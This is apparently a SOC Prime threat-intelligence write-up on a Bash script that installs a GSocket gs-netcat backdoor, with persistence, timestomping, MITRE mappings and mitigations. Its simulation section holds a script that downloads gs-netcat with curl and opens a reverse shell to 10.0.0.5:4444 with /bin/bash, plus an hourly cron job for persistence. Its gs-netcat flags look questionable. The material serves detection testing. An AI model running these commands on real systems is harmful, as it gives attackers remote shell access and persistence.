SOC Prime Bias: Medium

24 Mar 2026 14:37

GSocket Backdoor Delivered Through Bash Script

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
GSocket Backdoor Delivered Through Bash Script
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

A weaponized Bash script downloads and launches a GSocket client (gs-netcat) to establish a backdoor on Linux and macOS hosts. It maintains persistence through cron jobs and changes to .profile, while saving a shared secret inside a fake SSH key file. To reduce forensic visibility, the script uses anti-forensic methods that alter timestamps and conceal evidence of file modification. The resulting backdoor communicates outward through the GSocket relay network to a remote IP.

Investigation

The researcher detonated the script in a sandbox and confirmed retrieval of the gs-netcat binary, creation of a cron-based persistence entry, and tampering with user startup files. A bogus ELF file named id_rsa is dropped into the .ssh directory, with the shared secret embedded in what appears to be an SSH key. Timestamp reset routines were also identified, showing deliberate efforts to blur forensic timelines. The script supports multiple Unix-like systems by first detecting the host OS.

Mitigation

Defenders should block outbound traffic to known GSocket relay domains and IP addresses, and watch for unauthorized cron entries or suspicious changes to .profile and .ssh paths. Host-based detection logic should flag use of the gs-netcat filename as well as commands commonly used to manipulate timestamps. Least-privilege controls and integrity monitoring on startup files can further limit the backdoor’s ability to persist unnoticed.

Response

If these indicators appear, isolate the host, acquire the malicious script and dropped binaries, and begin a full forensic review. Remove the cron persistence mechanism and all malicious artifacts, rotate affected SSH keys, and invalidate any shared secrets. Extend hunting across the environment for matching indicators and refresh detection content to catch similar activity.

"graph TB %% Class definitions classDef technique fill:#c2e0ff classDef tool fill:#ffd9b3 classDef operator fill:#ffcc99 %% Technique nodes tech_initial_user_execution["<b>Technique</b> – <b>T1204.004 User Execution</b>: Malicious Bash script executed by a user."] class tech_initial_user_execution technique tech_persistence_cron["<b>Technique</b> – <b>T1053.003 Scheduled Task Job Cron</b>: Hourly cron job kills and restarts a disguised gsu2011netcat binary."] class tech_persistence_cron technique tech_boot_init["<b>Technique</b> – <b>T1037 Boot Logon Initialization Scripts</b>: Injection of malicious commands into the useru2019s .profile for persistence."] class tech_boot_init technique tech_compromise_binary["<b>Technique</b> – <b>T1554 Compromise Host Software Binary</b>: gsu2011netcat copied to ~/.ssh/putty and masqueraded as id_rsa."] class tech_compromise_binary technique tech_private_keys["<b>Technique</b> – <b>T1552.004 Unsecured Credentials Private Keys</b>: Shared secret stored inside a fake SSH private key."] class tech_private_keys technique tech_timestomp["<b>Technique</b> – <b>T1070.006 Timestomp</b>: Custom timestamp tracking and restoration to hide file modifications."] class tech_timestomp technique tech_time_evasion["<b>Technique</b> – <b>T1497.003 Virtualization Sandbox Evasion Time Based</b>: Timestamp manipulation to evade analysis environments."] class tech_time_evasion technique tech_protocol_tunneling["<b>Technique</b> – <b>T1572 Protocol Tunneling</b>: Network traffic tunneled through a GSocket relay network."] class tech_protocol_tunneling technique tech_proxy_multi["<b>Technique</b> – <b>T1090 Multiu2011hop Proxy</b>: Traffic forwarded through the GSocket CDN for internal and external proxying."] class tech_proxy_multi technique tech_ssh_lateral["<b>Technique</b> – <b>T1021.004 Remote Services SSH</b> / <b>T1563.001 SSH Hijacking</b>: gsu2011netcat executed as a disguised SSH key for lateral movement."] class tech_ssh_lateral technique %% Tool nodes tool_gsnetcat["<b>Tool</b> – <b>Name</b>: gsu2011netcat<br/><b>Description</b>: Netcat variant used for covert command and control."] class tool_gsnetcat tool tool_gsocket["<b>Tool</b> – <b>Name</b>: GSocket CDN<br/><b>Description</b>: Relay network providing tunneling and proxy services."] class tool_gsocket tool %% Attack flow connections tech_initial_user_execution –>|enables| tech_persistence_cron tech_persistence_cron –>|enables| tech_boot_init tech_boot_init –>|enables| tech_compromise_binary tech_compromise_binary –>|uses| tool_gsnetcat tech_compromise_binary –>|enables| tech_private_keys tech_private_keys –>|supports| tech_timestomp tech_timestomp –>|supports| tech_time_evasion tech_time_evasion –>|enables| tech_protocol_tunneling tech_protocol_tunneling –>|uses| tool_gsocket tool_gsocket –>|facilitates| tech_proxy_multi tech_proxy_multi –>|enables| tech_ssh_lateral tech_ssh_lateral –>|uses| tool_gsnetcat "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

  • Attack Narrative & Commands:
    An attacker with limited privileges obtains the gs‑netcat binary from a public repository, places it in /usr/local/bin, and launches it to open a reverse shell on port 4444. To maintain access, the attacker creates a cron job that restarts the backdoor every hour. The steps are performed from a compromised shell on the target host.

  • Regression Test Script:

    #!/usr/bin/env bash
    set -euo pipefail
    
    # 1. Download gs-netcat (simulated with a small placeholder binary)
    echo "[*] Downloading gs-netcat placeholder ..."
    curl -s -o /usr/local/bin/gs-netcat https://raw.githubusercontent.com/maaaaz/gs-netcat/master/gs-netcat_linux_amd64
    chmod +x /usr/local/bin/gs-netcat
    
    # 2. Start gs-netcat in the background (reverse shell to attacker IP 10.0.0.5)
    echo "[*] Starting gs-netcat reverse shell ..."
    /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash &
    GSN_PID=$!
    
    # 3. Verify process is running
    sleep 2
    ps -p "$GSN_PID" -o pid,cmd
    
    # 4. Create a cron job that restarts gs-netcat at the start of every hour
    echo "[*] Adding persistence via cron ..."
    (crontab -l 2>/dev/null; echo "0 * * * * /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash >/dev/null 2>&1") | crontab -
    
    echo "[+] Simulation complete. Await detection."
  • Cleanup Commands:

    #!/usr/bin/env bash
    set -euo pipefail
    
    # Remove the cron entry added above
    echo "[*] Removing malicious cron job ..."
    crontab -l | grep -v "/usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash" | crontab -
    
    # Kill any running gs-netcat processes
    echo "[*] Killing gs-netcat processes ..."
    pkill -f "/usr/local/bin/gs-netcat" || true
    
    # Delete the binary
    echo "[*] Deleting gs-netcat binary ..."
    rm -f /usr/local/bin/gs-netcat
    
    echo "[+] Cleanup finished."